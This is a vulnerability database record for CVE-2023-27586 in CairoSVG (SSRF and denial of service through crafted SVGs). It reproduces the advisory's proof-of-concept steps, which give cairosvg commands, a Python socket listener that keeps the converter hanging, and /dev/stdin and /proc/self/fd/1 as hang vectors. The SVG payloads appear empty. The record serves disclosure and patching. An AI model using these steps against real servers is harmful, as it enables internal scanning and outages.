{"id":"CVE-2023-27586","aliases":["GHSA-rwmf-w63j-p7gv","PYSEC-2023-9"],"title":"CairoSVG improperly processes SVG files loaded from external resources","summary":"CairoSVG improperly processes SVG files loaded from external resources","severity":"critical","cvss":9.9,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L","vendor":"cairosvg","product":"cairosvg","ecosystem":"pip","affected":["cairosvg < 2.7.0"],"patched":["cairosvg 2.7.0"],"published":"2023-03-20","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:49:57.000722156Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-rwmf-w63j-p7gv","references":[{"url":"https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-27586"},{"url":"https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255"},{"url":"https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53"},{"url":"https://github.com/Kozea/CairoSVG"},{"url":"https://github.com/Kozea/CairoSVG/releases/tag/2.7.0"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2023-9.yaml"}],"tags":["osv","pip"],"epss":0.00722,"epssPercentile":0.52534,"ingestedAt":"2026-09-12T03:13:01.727Z","slug":"CVE-2023-27586","body":"## Overview\n\n# SSRF vulnerability\n\n## Summary\nWhen CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## Details\nA specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources.\nIt looks like this bug can affect websites and cause request forgery on the server.\n\n## PoC\n1. Generating malicious svg file:\n1.1 CairoSVG_exploit.svg:\n```svg\n\n \n \n```\n\n1.2 CairoSVG_exploit_2.svg:\n```svg\n\n \n \n```\n\n1.3 CairoSVG_exploit_3.svg:\n```svg\n\n \n \n```\n\n2. Run some commands:\n`$ python3 -m cairosvg CairoSVG_exploit.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png `\n\n3. See result requests in Burp Collaborator:\n\n\n\n\n# DOS vulnerability with SSTI\n\n## Summary\nWhen CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n\n \n \n```\n\n2. In other server run this python program:\n\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('0.0.0.0', 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n while True:\n data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png`\n(without timeout server will hang forever)\n\n\n# DOS vulnerability with stdin file descriptor\n\n## Summary\n\nSpecially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n\n \n \n```\n\n2. In other server run this python program:\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('0.0.0.0', 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n while True:\n data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png`\n\n## Affected packages\n\n- `cairosvg < 2.7.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `cairosvg 2.7.0`","depth":"midnight","depthScore":55,"depthScoreParts":{"impact":54.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}